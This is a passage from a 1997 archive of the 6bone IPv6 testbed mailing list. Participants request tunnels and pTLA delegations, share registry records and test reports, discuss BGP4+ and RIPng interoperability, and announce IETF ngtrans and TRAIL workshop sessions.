That doesn't look good, because our routers are not configured to use
automatic tunneling, so the ::130.59.15.6 will not work.

You should be able to set up a configured tunnel by adding static
routes for the tunnel endpoints with the addresses I gave you.  Please
consult your documentation or Digital's support for information about
how to do this exactly.

> swsaxp47 # route add -inet6  5f00::/8 3ffe:2000:0:1::41      
> writing to routing socket: Network is unreachable

When your tunnel is configured correctly, the address will be
reachable.

Regards,
-- 
Simon.



--------------52BF623163DE--


From 6bone-owner  Fri Nov  7 11:39:40 1997
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Date: Fri, 7 Nov 1997 19:38:52 +0000 (GMT)
From: Ben Crosby <bc@ecs.soton.ac.uk>
X-Sender: bc@diana
To: Craig Metz <cmetz@inner.net>
Cc: 6bone@ISI.EDU
Subject: Re: call for agenda items for December ngtrans-6bone IETF meeting 
In-Reply-To: <199711071825.SAA01612@inner.net>
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On Fri, 7 Nov 1997, Craig Metz wrote:

> 	Those who have put up such services have found amazingly underwhelming
> demand. I have had zero off-site access to my IPv6-only WWW server, and I had
> zero off-site accesses to my IPv6-only NNTP serve. I've had two accesses to my
> IPv6-only SMTP server and both were pre-arranged tests with another person.

I had assumed this to be the case, which is exactly why I felt the need to
raise the issue. It is all very well having this test network, but lets try
and get some real services up and running to get some real traffic on the 
net. I've experienced similar accesses with USOT-ECS. Shall we create some
ipv6 newsgroups, and go from there, and lets get www.ipv6.6bone.net up or
similar ?

If you, or indeed anyone else wants to get together with me and set up some
newsgroups and peer them (not tunnels, but delivered across 6bone) then 
I'd be only too happy to do so.

> 	The overwhelming majority of traffic on the 6bone is pings and
> traceroutes supplying data for the random "6bone status" web pages out there.
> There appears to be far less incentive to actually do anything with the 6bone
> than to claim that one is "on" it.

I certainly see a lot of ICMP traffic =)

Ben.

From 6bone-owner  Mon Nov 10 11:03:28 1997
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Date: Mon, 10 Nov 1997 13:02:48 -0600
From: Zach Metzinger <wizkid@ksu.edu>
To: 6bone@ISI.EDU
Subject: IPv6 tunnel ..
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Hi.

I'm looking for a site willing to establish a static route tunnel to
Kansas State University. We have a few machines here running Linux
2.1.62 that we'd like to use for a IPv6 testbed.

We plan to start experimenting with the IPv6 gated from merit as well,
possibly enabling BGP4+ routing.

Thanks,

Zach Metzinger
Unix System Administration
Computing and Network Services
Kansas State University

From 6bone-owner  Thu Nov 13 05:33:21 1997
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To: wizkid@ksu.edu (Zach Metzinger)
Date: Thu, 13 Nov 1997 05:32:36 -0800 (PST)
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In-Reply-To: <19971110130248.43018@bleck.ksu.ksu.edu> from "Zach Metzinger" at Nov 10, 97 01:02:48 pm
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> 
> 
> Hi.
> 
> I'm looking for a site willing to establish a static route tunnel to
> Kansas State University. We have a few machines here running Linux
> 2.1.62 that we'd like to use for a IPv6 testbed.
> 
> We plan to start experimenting with the IPv6 gated from merit as well,
> possibly enabling BGP4+ routing.
> 
> Thanks,
> 
> Zach Metzinger
> Unix System Administration
> Computing and Network Services
> Kansas State University
> 

your best bet might be to coordinate with Dale F. at UNL since he is 
coordinating IPv6 for I2 participants.

-- 
--bill

From 6bone-owner  Fri Nov 14 21:13:17 1997
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unsubsribe


From 6bone-owner  Tue Nov 18 21:38:33 1997
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From: Magnus Ahltorp <magnus@aladdin.se>
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I have made a ping statistics page which you can reach on
http://www.ipv6.stacken.kth.se. It should work with both IPv4 and IPv6.
Please report if you have difficulties reaching the page.

The ping packets are 500 bytes in size and the tests are done hourly.

Magnus


From 6bone-owner  Wed Nov 19 08:12:08 1997
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Date: Wed, 19 Nov 1997 08:12:02 -0800
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: changes to 6bone diagrams
Cc: "Andrew Scott - Lancaster Univ." <scotta@exchange.lancs.ac.uk>
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I have shifted over to Lancaster University's automatically drawn 6bone
network structure and backbone diagrams, thus the old and very out of date
manually drawn diagrams of mine are gone (and won't be kept up again).

You should see things appear (and disappear) based on 6bone registry data,
so these diagrams will be as good as the data in the registry is :-)

The maps will soon be reloaded on my server daily as I am setting it up to
copy them over from Lancaster nightly so loads will go fast, at least from
queries with the US.


Please forward comments on the diagrams to the list so Andrew Scott and I
can respond to them.


	http://www.6bone.net/6bone-diagram.html

	http://www.6bone.net/6bone-backbone.html


And do keep your 6bone Registry info up to date.


Thanks, especially to Andrew for all of his work!

Bob



From 6bone-owner  Fri Nov 21 05:35:09 1997
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Cc: Jan Marius Evang <jane@iaeste.no>, 6bone@ISI.EDU
Subject: Re: reconnecting IPv6 site.
References: <v0310281eb0631448faa9@[128.3.9.22]>
From: Jan Marius Evang <jane@iaeste.no>
Date: 21 Nov 1997 14:34:47 +0100
In-Reply-To: Bob Fink's message of Thu, 9 Oct 1997 16:21:03 -0700
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  >> Bob Fink writes:

  BF> Marius, At 3:40 AM -0700 10/8/97, Jan Marius Evang wrote:
  >> Hi! After not being connected for a while, We would like to take
  >> up out IPv6 activities again. I understand the adressing scheeme
  >> has changed, and I get a message from whois to update the
  >> "object".

  BF> To this end, a top level object has been assigned to me for the
  BF> new test TLA with a netname of TEST-TLA-6BONE, with an inet6num
  BF> value of 3FFE::/16 (see below). You can reference this object,
  BF> as well as other new inet6num objects, by using the 6bone whois
  BF> query:

  BF> http://www.6bone.net/whois.html

  BF> This object is the owner, if you will, of all objects below it.
  BF> However, it is my intention to assign pTLAs as delegated objects
  BF> and then let them sub-delegate.

I would (officially) ask to be delegated a 6bone pTLA for Norwegian
testing of IPv6 at the Universsity of Oslo.
Thi is registered in the RIPE database using the old addressing
scheme. 

We are also cooperating with a couple of other companies in Norway
that are planning IPv6 setups, and will probably delegate NLAs to
them. 

It will (probably) be me, jane@ifi.uio.no (JME1-6BONE in the Ripe
database) that will be responsible for the pTLA.

Yours Jan Marius Evang



-- 
-O
Røyskatt

From 6bone-owner  Fri Nov 21 07:34:29 1997
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 <v0310281eb0631448faa9@[128.3.9.22]>
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Date: Fri, 21 Nov 1997 07:34:21 -0800
To: Jan Marius Evang <jane@iaeste.no>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: reconnecting IPv6 site.
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Jan Marius,

At 5:34 AM -0800 11/21/97, Jan Marius Evang wrote:
...
>I would (officially) ask to be delegated a 6bone pTLA for Norwegian
>testing of IPv6 at the Universsity of Oslo.
>Thi is registered in the RIPE database using the old addressing
>scheme.
>
>We are also cooperating with a couple of other companies in Norway
>that are planning IPv6 setups, and will probably delegate NLAs to
>them.
>
>It will (probably) be me, jane@ifi.uio.no (JME1-6BONE in the Ripe
>database) that will be responsible for the pTLA.

I have assigned your pTLA as follows:

	UIO/NO               3FFE:2A00::/24

	http://www.6bone.net/6bone_pTLA_list.html


I will do the inet6num record over the weekend, and will get back to you.


Thanks,

Bob



From 6bone-owner  Fri Nov 21 09:33:48 1997
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Date: Fri, 21 Nov 1997 09:33:41 -0800
To: Magnus Ahltorp <magnus@aladdin.se>, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Statistics page
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Jan Marius,

I have created the following entries for you.  You can now assign
AGGR-based address delegations under you.  Please change your mntnr and
inet6num object as you wish.


Thanks,

Bob

===========================================================================
mntner:            MNT-UIO
descr:             maintainer of UIO 6bone registry objects
admin-c:           JME1-6BONE
tech-c:            JME1-6BONE
upd-to:            jane@ifi.uio.no
mnt-nfy:           jane@ifi.uio.no
auth:              NONE
remarks:           UIO 6bone registry maintainer record
notify:            jane@ifi.uio.no
mnt-by:            MNT-UIO
changed:           rlfink@lbl.gov 19971121
source:            6BONE

inet6num:          3FFE:2A00::/24
netname:           UIO
descr:             pTLA delegation for the 6bone
country:           US
admin-c:           JME1-6BONE
tech-c:            JME1-6BONE
mnt-by:            MNT-UIO
changed:           RLFink@lbl.gov 19971121
source:            6BONE



From 6bone-owner  Tue Nov 25 10:11:17 1997
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Date: Wed, 26 Nov 1997 02:12:18 +0800
From: Albert K T Hui <avatar@deva.net>
To: 6bone@ISI.EDU
Subject: Request for connectivity
Reply-To: Albert K T Hui <avatar@acm.org>
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Hi,

I would like to hook up my network ``deva.net'' to the 6bone.  We are in
Hong Kong.  Of the west coast backbone sites I found that our connection
to Cisco is the most reliable.  If there is a topologically more
sensible tunnel point please advice.  For experiment we have a couple of
Linux machines with EUI-64 (using the vger CVS kernel) as well as spare
Cisco routers.  We will provide 6bone connectivity to Hong Kong and
Macau networks.  Could we have a pTLA please?

-- 
Albert K T Hui                                               _|      _O_
http://avatar.deva.net/                                     / |vatar  |

From 6bone-owner  Wed Nov 26 01:45:44 1997
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Date: Wed, 26 Nov 1997 01:45:39 -0800
To: Albert K T Hui <avatar@acm.org>, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Request for connectivity
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Albert,

At 10:12 AM -0800 11/25/97, Albert K T Hui wrote:
>Hi,
>
>I would like to hook up my network ``deva.net'' to the 6bone.  We are in
>Hong Kong.  Of the west coast backbone sites I found that our connection
>to Cisco is the most reliable.  If there is a topologically more
>sensible tunnel point please advice.  For experiment we have a couple of
>Linux machines with EUI-64 (using the vger CVS kernel) as well as spare
>Cisco routers.  We will provide 6bone connectivity to Hong Kong and
>Macau networks.  Could we have a pTLA please?

Have you considered asking one of the current pTLA 6bone backbone sites for
a transit (pNLA1) delegation?  You can still do exactly as you propose as
an NLA, i.e., delegate to other Hong Kong/Macau networks and sites.  In
fact some of these may want to be an NLA (transit) under you, as opposed to
just a leaf site.

Given the test only nature of the 6bone (i.e., no production traffic),
there is no difference in  practice from being a transit (pNLA1) and a
pTLA.  In fact it would be very useful for sites to try this out as a test
of this concept as well.


Thanks,

Bob



From 6bone-owner  Thu Nov 27 02:26:55 1997
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From: JOIN Project Team <ipng@uni-muenster.de>
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To: Tom Eastgard <eastgard@nwnet.net>
cc: Aad van der Zanden <Aad.van.der.Zanden@nc3a.nato.int>, 6bone@ISI.EDU
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Hello,

On Tue, 4 Nov 1997, Tom Eastgard wrote:

> I thought I had a commitment from them to call with status and possibly
> beta software this summer but never heard, so I'm not sure they're
> serious about it.  Please let me know if you do make successful contact.
> 
> ...
> 
> On Tue, 4 Nov 1997, Aad van der Zanden wrote:
> 
> > Hi,
> > 
> > After several serious attempts ( 3 emails , 2 voicemailmessages ) &
> > One pager call, I have still not managed to get the product manager
> > for Onnet32 and IPv6 from FTP software.
> > 
> > Is there anyone out there on the 6bone that could provide me with answers
> > to questions like:
> > 
> > 1) Is FTP software (Onnet32)& IPv6 still moving ahead with EUI64 support.
> > 2) And does it actually work...
> >

We used for our JOIN-Project (http://www.join.uni-muenster.de) the
IPv6-Stack from FTP-Software, which is distributed with the "Secure Client
3.0" software. The Onnet32 software is not sufficient. So far there is no
support for EUI64 included and there are some other shortcomings not
conforming to the current IPv6 standard, because the software was released
early 1997.

> > We have bought three sets of Onnet32 but haven't been able to get an IPv6
> > ping to respond 
> > Not very promising, right? Who knows more?..
> > 
> > Regards
> > 	Aad.

We contacted Vincent James, the European trade representative, and
he gave us some additional information. There will be a new Version 3.5 of
"Secure Client" in early 1998, with large improvements in the IPv6 support
and for questions regarding IPv6 you should contact Mr. Chip Sparling,
chip@ftp.com, Product Manager at FTP Software. 

The biggest problem we discovered in using the software was the incorrect
behavior of name resolution for AAAA records and most programs, except
ping, are not yet ported to accept IPv6 addresses. The IPv6 Stack is quite
complete but with shortcomings in some areas. A detailed test overwiew can
be found on our Web-Site at 

http://www.join.uni-muenster.de/JOIN/ipv6/texte-englisch/tests/hosts-1/index.html

Comments are welcome.


Best regards,
     Manfred

------------------------------------------------------------------------------
JOIN -- IP Version 6 in the WiN   Manfred Sand
        A project of DFN          Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: +49 251 83 31636, fax: +49 251 83 31653, email: sand@uni-muenster.de
------------------------------------------------------------------------------



From 6bone-owner  Thu Nov 27 02:45:38 1997
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To: 6bone@ISI.EDU
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Hi,

as part of our JOIN-Project we performed a first test in September of some
host implementations. We converted our report to HTML and the results are
now available on our Web Site at
http://www.join.uni-muenster.de/JOIN/ipv6/texte-englisch/tests.html

The test covered the following implementations:

o FreeBSD 2.2.2-Release with  IPv6-code from INRIA (Snapshot from August)
o Linux with kernel version 2.1.49
o Solaris with IPv6 for Solaris prototype (Release 5.2)
o Windows 95 with IPv6-Code from FTP Software (Secure Client 3.0)

Suggestions, questions or comments are welcome 
(please use join@uni-muenster.de for your mail)

Thanks and best regards,
       Manfred

------------------------------------------------------------------------------
JOIN -- IP Version 6 in the WiN   Manfred Sand
        A project of DFN          Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: +49 251 83 31636, fax: +49 251 83 31653, email: sand@uni-muenster.de
------------------------------------------------------------------------------


From 6bone-owner  Fri Nov 28 19:38:10 1997
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From: Magnus Ahltorp <magnus@aladdin.se>
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Today, our site (STACKEN) connected to SICS. I would like to do some
research on routing issues aswell as some development, and therefore
I would like to connect to some other 6bone site.

Would anyone want to setup a tunnel between them and our site?
Topologically, we are very close to the swedish IPv4 central point of
connection, and geographically we are located in Stockholm, Sweden.

What should I take into consideration when having several routes to the
backbone? What routing protocols are recommended to use?

Magnus
Stacken Computer Club


From 6bone-owner  Wed Dec  3 18:12:06 1997
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References: <3485F764.4890530@freegate.com> (message from Bob Gilligan on
 Wed, 03 Dec 1997 16:20:53 -0800)
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Date: Wed, 3 Dec 1997 18:12:02 -0800
To: ngtrans@sunroof.Eng.Sun.COM, 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: (ngtrans) Agenda for ngtrans working group meeting in DC
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Everyone should note that the ngtrans meeting (which includes the 6bone
stuff) is on Tuesday:


TUESDAY, December 9, 1997

1300-1400  Afternoon Sessions I

Palladian     OPS  ngtrans  Next Generation Transition WG

1415-1515  Afternoon Sessions II

Palladian     OPS  ngtrans  Next Generation Transition WG


Thanks,

Bob Fink

>   Here is the agenda for the ngtrans working group meeting next week:
>
>   Transition tools:
>	   New revision of transition mechanisms spec / Gilligan / 15
>   minutes
>	   NAT-PT and associated components / Tsirtsis / 10 minutes
>	   NNAT discussion / Bound / 20 min
>	   New revision of SIIT document / Nordmark / 5 minutes
>	   Translator proposal / Tsuchiya / 20 minutes
>	   NARA translator proposal / Yamamoto / 15 minutes
>
>   6bone reports:
>	   Status of action items from Munich / Fink / 5 mins
>	   Address delegation by 6bone registry / Kessens / 10 mins
>	   Status report of the 6bone / Fink / 10 mins
>	   WIDE 6bone Report / WIDE rep / 10 mins
>	   CAIRN Backbone plans / Mankin / 5 mins ?
>	   Operational issues on the 6bone / various / 10 mins
>	   Backbone planning / Fink, Durand, Crosby / 20 mins
>	   What's the next step for the 6bone? / Fink / 5 mins
>
>   Note that our 2 hour and 15 minute slot is oversubscribed by a bit, so
>   we will be looking to squeeze the time of some presentations.
>
>   See you in DC!
>
>   Bob.




From 6bone-owner  Wed Dec  3 23:34:33 1997
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Date: Wed, 03 Dec 1997 23:34:17 -0800
From: Lin Xia <lxia@eecs.wsu.edu>
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Hi,

I am a graduate student in Computer Science at Washington
State University. We are interested in connecting to the
6bone to setup a testbed to play with IPv6 and test Gigabit
ethernet over IPv6. We now have several Pentium PCs running
Linux. According to the 6bone diagram, I guess the closest
tunnel endpoint for us is University of Washington. But how
can I get the connection? And what should I use as the ASN
field in order to calculate the RFC1897 testing address?

Any help would be much appreciated.
 
*********************************************************
* Xia, Lin                                              *
* School of Electrical Engineering and Computer Science *
* Washington State University                           *
* PO Box 2065, Pullman, WA 99165-2065                   *
* Phone: (509)333-3262(h)  (509)335-1340(o)             *
* Email:lxia@eecs.wsu.edu                               *
*********************************************************

From 6bone-owner  Thu Dec  4 02:32:08 1997
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Date: Thu, 4 Dec 1997 11:31:51 +0100 (MET)
From: Janos Mohacsi <mohacsi@fsz.bme.hu>
To: Lin Xia <lxia@eecs.wsu.edu>
cc: 6bone@ISI.EDU
Subject: Re: Connection request
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On Wed, 3 Dec 1997, Lin Xia wrote:

> Date: Wed, 03 Dec 1997 23:34:17 -0800
> From: Lin Xia <lxia@eecs.wsu.edu>
> To: 6bone@ISI.EDU
> Subject: Connection request
> 
> Hi,
> 
> I am a graduate student in Computer Science at Washington
> State University. We are interested in connecting to the
> 6bone to setup a testbed to play with IPv6 and test Gigabit
> ethernet over IPv6. We now have several Pentium PCs running
> Linux. According to the 6bone diagram, I guess the closest
> tunnel endpoint for us is University of Washington. But how
> can I get the connection? And what should I use as the ASN
> field in order to calculate the RFC1897 testing address?

Forget the RFC1897. New addressing scheme (Aggregation-based Unicast test
address) is being used to connect to 6bone (See
http://www.6bone.net/6bone_hookup.html). Find a backbone site or an
apropiate transit site to connect. 

Cheers,
	Janos Mohacsi


From 6bone-owner  Thu Dec  4 03:58:35 1997
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From: Matthias.Bitterlich@bam.de (Bitterlich, Matthias)
Date: Thu, 4 Dec 1997 12:58:14 +0100
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Hi you 6boners out there!

Can someone provide me with some base knowledge about IPv6.
What I had in mind was something like RFCs or any other documents.

Thanks for your help
M. Bitterlich

From 6bone-owner  Thu Dec  4 12:08:05 1997
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Date: Thu, 4 Dec 1997 21:07:43 +0100 (MET)
From: Magnus Ahltorp <magnus@aladdin.se>
To: 6bone@ISI.EDU
Subject: AS number
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On the 6bone, ordinary AS numbers are used for the BGP4 routing
information interchange. This is a problem, since to be something else
than an ordinary leaf site requires an AS number. This means that "in the
real world" (i.e. the IPv4 community) you have to have an AS number of
your own.

In IPv4, our site (STACKEN) is connected via SUNET, and so is SICS. SICS
is for now STACKEN's only entry point to the 6bone. SICS uses the
SUNET-KTH AS number, which is also the AS number we could use.

Would it be possible to use a "temporary" or "reserved" AS number for the
routing? I have spoken with my "provider", and they say that it is
virtually impossible to get a real AS number. In fact, that is not
what I need.

Have anyone got any bright ideas around this?


From 6bone-owner  Thu Dec  4 14:10:35 1997
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Date: Thu, 4 Dec 1997 14:09:27 -0800 (PST)
From: Doug Junkins <junkins@nwnet.net>
To: Lin Xia <lxia@eecs.wsu.edu>
cc: 6bone@ISI.EDU
Subject: Re: Connection request
In-Reply-To: <34865CF9.58E9@eecs.wsu.edu>
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Lin,

We can set up a tunnel for you and assign some address space from our
pTLA.  Our core 6Bone router is one hop from the washington education
network that WSU gets service from.

Send me a private email with your tunnel endpoint IP address and I'll get
it configured.

-Doug

On Wed, 3 Dec 1997, Lin Xia wrote:

> Hi,
> 
> I am a graduate student in Computer Science at Washington
> State University. We are interested in connecting to the
> 6bone to setup a testbed to play with IPv6 and test Gigabit
> ethernet over IPv6. We now have several Pentium PCs running
> Linux. According to the 6bone diagram, I guess the closest
> tunnel endpoint for us is University of Washington. But how
> can I get the connection? And what should I use as the ASN
> field in order to calculate the RFC1897 testing address?
> 
> Any help would be much appreciated.
>  
> *********************************************************
> * Xia, Lin                                              *
> * School of Electrical Engineering and Computer Science *
> * Washington State University                           *
> * PO Box 2065, Pullman, WA 99165-2065                   *
> * Phone: (509)333-3262(h)  (509)335-1340(o)             *
> * Email:lxia@eecs.wsu.edu                               *
> *********************************************************
> 


From 6bone-owner  Mon Dec  8 07:27:28 1997
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To: Magnus Ahltorp <magnus@aladdin.se>
Cc: 6bone@ISI.EDU
Subject: Re: Multiple links
References: <Pine.LNX.3.96N2.971129042703.20065A-100000@dike.aladdin.se>
From: Lars Albertsson <lalle@sics.se>
Date: 08 Dec 1997 16:26:30 +0100
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> Today, our site (STACKEN) connected to SICS. I would like to do some
> research on routing issues aswell as some development, and therefore
> I would like to connect to some other 6bone site.
> 
> Would anyone want to setup a tunnel between them and our site?
> Topologically, we are very close to the swedish IPv4 central point of
> connection, and geographically we are located in Stockholm, Sweden.
> 
> What should I take into consideration when having several routes to the
> backbone? What routing protocols are recommended to use?

BGP4+ and RIPng have interoperability problems, so you should use some
combination of BGP4+ and static routes.

Lalle, SICS


From 6bone-owner  Mon Dec  8 12:51:32 1997
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Subject: Re: Multiple links
To: lalle@sics.se (Lars Albertsson)
Date: Mon, 8 Dec 1997 12:51:24 -0800 (PST)
Cc: magnus@aladdin.se, 6bone@ISI.EDU
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> > Would anyone want to setup a tunnel between them and our site?
> > Topologically, we are very close to the swedish IPv4 central point of
> > connection, and geographically we are located in Stockholm, Sweden.
> > 
> > What should I take into consideration when having several routes to the
> > backbone? What routing protocols are recommended to use?
> 
> BGP4+ and RIPng have interoperability problems, so you should use some
> combination of BGP4+ and static routes.
> 
> Lalle, SICS

:)  or use ripng and statics!  :)

-- 
--bill

From 6bone-owner  Wed Dec 10 13:08:51 1997
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From: Alain Durand <Alain.Durand@imag.fr>
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There will be a followup meeting tomorrow 11:30 AM, same room (palladium)
to talk about multu-homing issues.

	- Alain.

From 6bone-owner  Wed Dec 10 16:36:54 1997
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Hi all,

	Due to the limited time we have had for 6bone issues,
there will be an extra session on the 11th of December in the 
Palladian Room, at 11.30 am, just like the one we held today. 

	Anyone is welcome to attend, and this will be a technical
discussion continuing on from where we left off today, issues
including Dimitri's ::/96 proposal, and the multi-homing stuff
that I presented with Alain Durand today.

	Bob has asked me to stress that nothing here will be 
decided definately without being opened up to the list for
discussion first, and that if anyone not in Washington has issues
that they wish us to bring up, please mail them into the list.

	Two specific issues brought up were the suggestion about 
continued routing of 5fxx addresses, and the status of those sites
that have not maintained their registry entries since the automatic
conversion.

	I'm sure that Bob will post full minutes sometime soon.

	Cheers,
	Ben.



From 6bone-owner  Fri Dec 12 01:02:12 1997
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Date: Fri, 12 Dec 1997 10:02:01 +0100 (MET)
From: "Szabolcs Szigeti (PinkPanther)" <pink@fsz.bme.hu>
To: 6bone@ISI.EDU
Subject: IPv6 on cisco?
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Hi,

We have the following Cisco routers: 2513, 2501, 2509 and  3620.

I would like to know if it is possible to run ipv6 on them, and if yes,
what do i have to do to obtain the software.

Sorry, if it's a bit off topic, i asked Cisco, but didn't get any answer.

Thanks,
	Szabolcs



From 6bone-owner  Fri Dec 12 04:25:33 1997
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Date: Fri, 12 Dec 1997 13:26:35 +0100
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From: Thomas Hoffecker <thomas@msaeur.army.mil>
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Sorry, if this is off topic.

Does anyone know of an IPv6 stack for Windows NT 4.0?

TIA

Thomas

From 6bone-owner  Fri Dec 12 21:10:08 1997
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To: tccc@ieee.org, itc@ieee.org, 6bone@ISI.EDU, nlanr@nlanr.net,
        end2end-interest@ISI.EDU
Subject: Call for Participation: Feb 12-13 TRAIL Workshop on IPng Research
Cc: dlfisher@nsf.gov, mankin@ISI.EDU, sburgess@ISI.EDU
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The National Science Foundation and USC/ISI East will present the
second TRAIL Workshop, IPng Research, 12-13 February 1998,
at the NSF, in Arlington, Virginia.  The workshop agenda will
include presentations and discussions of submitted short papers,
along with special sessions on recent developments, mobility, and
the TRAIL (Testbed Routers for Advanced Internet Labs) packages.

Researchers interested in participating must submit a two-page
mini white paper or mini position paper.  Suitable topics are:
new technologies building on IPv6 capabilities; IPv6 hands-on
experiments; IPv6 research software or tools; or evolutionary/
revolutionary internetworking.  Please label your submission with
one or more of these topic names.

The submissions will be used to select up to 25 participants.

Some of the presentations from the first TRAIL Workshop, IPv6 
Hands-On Network Research, are available from http://trail.isi.edu.

Important Information:

Mini White Paper Submission Deadline   22 December 1997

Notification of Acceptance             28 December 1997

Workshop                               12-13 February 1998

Submissions should be emailed as ASCII texts, HTML, Postscript,
or MIME attachments of Word documents, to:

Allison Mankin, mankin@east.isi.edu
Darleen Fisher, dlfisher@nsf.gov
Suzanne Burgess, sburgess@east.isi.edu

Requests for more informations should be addressed to 
mankin@east.isi.edu or sburgess@east.isi.edu.

From 6bone-owner  Sat Dec 13 22:50:51 1997
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Date: Sat, 13 Dec 1997 22:50:16 -0800 (PST)
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From: Pedro Marques <roque@cisco.com>
To: Lars Albertsson <lalle@sics.se>
Cc: 6bone@ISI.EDU
Subject: Re: Multiple links
In-Reply-To: <u6zzpmbua8p.fsf@saruman.sics.se>
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>>>>> "Lars" == Lars Albertsson <lalle@sics.se> writes:

    Lars> BGP4+ and RIPng have interoperability problems

Could you please be more specific ?

  Pedro.

From 6bone-owner  Sun Dec 14 23:56:36 1997
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From: Thomas Seidmann <seidmann@dcs.elf.stuba.sk>
To: Thomas Hoffecker <thomas@msaeur.army.mil>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 on Windows NT
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Hi Thomas,

we (a couple of students and me) are working on an TDI implementation of
IPv6 for Windows NT 4.0. The code will be public, although probably not
before May'98. 

Cheers,
Thomas

==========================================================
Dipl.-Ing. Thomas Seidmann
Department of Computer Science and Engineering
Faculty of Electric Engineering and Information Technology
Slovak University of Technology in Bratislava
Ilkovicova 3, SK-81217 Bratislava
mailto:seidmann@dcs.elf.stuba.sk
mailto:tseidmann@simultan.ch
Tel +421.7.791153 Fax +421.7.720415
==========================================================

On Fri, 12 Dec 1997, Thomas Hoffecker wrote:

> Sorry, if this is off topic.
> 
> Does anyone know of an IPv6 stack for Windows NT 4.0?
> 
> TIA
> 
> Thomas
> 


From 6bone-owner  Mon Dec 15 11:07:42 1997
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To: Pedro Marques <roque@cisco.com>
Cc: 6bone@ISI.EDU
Subject: Re: Multiple links
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From: Lars Albertsson <lalle@sics.se>
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>     Lars> BGP4+ and RIPng have interoperability problems
> 
> Could you please be more specific ?

I'm afraid I can't, but as far as I know, most router implementations
have problems running BGP4+ in combination with RIPng
successfully. However, I do not know whether this is caused by the
specifications or the implementations, nor whether it has changed. Do
you know?

/Lalle

From 6bone-owner  Mon Dec 15 11:13:15 1997
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From: Pedro Marques <roque@cisco.com>
To: Lars Albertsson <lalle@sics.se>
Cc: 6bone@ISI.EDU
Subject: Re: Multiple links
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>>>>> "Lars" == Lars Albertsson <lalle@sics.se> writes:

    Lars> BGP4+ and RIPng have interoperability problems
    >>  Could you please be more specific ?

    Lars> I'm afraid I can't, but as far as I know, most router
    Lars> implementations have problems running BGP4+ in combination
    Lars> with RIPng successfully.

As far as i'm aware most people that run cisco boxes use both bgp4+ and
rip... that is for instance the case of our own test box. I'm not aware
of any problems at all... and usually our testers are pretty good at
informing me about those issues ;-)

    Lars>  However, I do not know whether this
    Lars> is caused by the specifications or the implementations, nor
    Lars> whether it has changed. Do you know?

It still isn't clear to me that there is a problem.

  Pedro.

From 6bone-owner  Mon Dec 15 11:49:29 1997
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To: Pedro Marques <roque@cisco.com>
Cc: Lars Albertsson <lalle@sics.se>, 6bone@ISI.EDU
Subject: Re: Multiple links 
In-Reply-To: Your message of Mon, 15 Dec 97 11:12:39 -0800.
             <199712151912.LAA02483@pedrom-ultra.cisco.com> 
Date: Mon, 15 Dec 97 11:49:17 -0800
From: Stephen Stuart <stuart@pa.dec.com>
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> As far as i'm aware most people that run cisco boxes use both bgp4+ and
> rip... that is for instance the case of our own test box. I'm not aware
> of any problems at all... and usually our testers are pretty good at
> informing me about those issues ;-)

My cisco 7206 runs both BGP4+ and RIPng and I am not aware of any
problems. 

Lars, perhaps it would help if you told us how you acquired the
opinion that "most router implementations have problems running BGP4+
in combination with RIPng successfully." You seem to state it as fact,
and I, for one, have experience configuring and running two router
implementations that do not have the problem that you allege exists. I
have BGP4+ peering sessions with other implementations that lead me to
believe that they also do not have the problems you allege. 

Stephen


From 6bone-owner  Mon Dec 15 12:07:01 1997
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To: Stephen Stuart <stuart@pa.dec.com>
Cc: Pedro Marques <roque@cisco.com>, 6bone@ISI.EDU
Subject: Re: Multiple links
References: <9712151949.AA14263@nsl-too.pa.dec.com>
From: Lars Albertsson <lalle@sics.se>
Date: 15 Dec 1997 21:05:54 +0100
In-Reply-To: Stephen Stuart's message of Mon, 15 Dec 97 11:49:17 -0800
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> > As far as i'm aware most people that run cisco boxes use both bgp4+ and
> > rip... that is for instance the case of our own test box. I'm not aware
> > of any problems at all... and usually our testers are pretty good at
> > informing me about those issues ;-)
> 
> My cisco 7206 runs both BGP4+ and RIPng and I am not aware of any
> problems. 
> 
> Lars, perhaps it would help if you told us how you acquired the
> opinion that "most router implementations have problems running BGP4+
> in combination with RIPng successfully." You seem to state it as fact,
> and I, for one, have experience configuring and running two router
> implementations that do not have the problem that you allege exists. I
> have BGP4+ peering sessions with other implementations that lead me to
> believe that they also do not have the problems you allege. 

I said "as far as I know", which should not be interpreted as a
fact. I have heard of problems from different sources, but I do not
know any details or which implementations were used. If you have not
heard of any problems, I suppose there no longer are any. I'll get
back if I am able to verify any problems.

/Lalle

From 6bone-owner  Mon Dec 15 13:33:02 1997
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Date: Mon, 15 Dec 1997 16:32:49 -0500
From: "Dorian R. Kim" <dorian@blackrose.org>
To: Lars Albertsson <lalle@sics.se>
Cc: Pedro Marques <roque@cisco.com>, 6bone@ISI.EDU
Subject: Re: Multiple links
References: <Pine.LNX.3.96N2.971129042703.20065A-100000@dike.aladdin.se> <u6zzpmbua8p.fsf@saruman.sics.se> <199712140650.WAA01867@pedrom-ultra.cisco.com> <u6zg1nus9xj.fsf@saruman.sics.se>
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On Mon, Dec 15, 1997 at 08:06:32PM +0100, Lars Albertsson wrote:
> 
> >     Lars> BGP4+ and RIPng have interoperability problems
> > 
> > Could you please be more specific ?
> 
> I'm afraid I can't, but as far as I know, most router implementations
> have problems running BGP4+ in combination with RIPng
> successfully. However, I do not know whether this is caused by the
> specifications or the implementations, nor whether it has changed. Do
> you know?

Operational experience with at least one vendor's implementation suggests
that there are no problem with running BGP4+ in combination with RIPng.

Whether you want to run RIPng for anything other than IGP purposes
is a different matter. :)

-dorian

From 6bone-owner  Thu Dec 18 11:05:56 1997
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From: Bolo Lacertus <lacertus@arenque.dgsca.unam.mx>
Organization: Coordinacion de Prospeccion y Coordinacion
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This is a multi-part message in MIME format.
--------------A1848F04B0FED88BFE1481FA
Content-Type: text/plain; charset=iso-8859-1
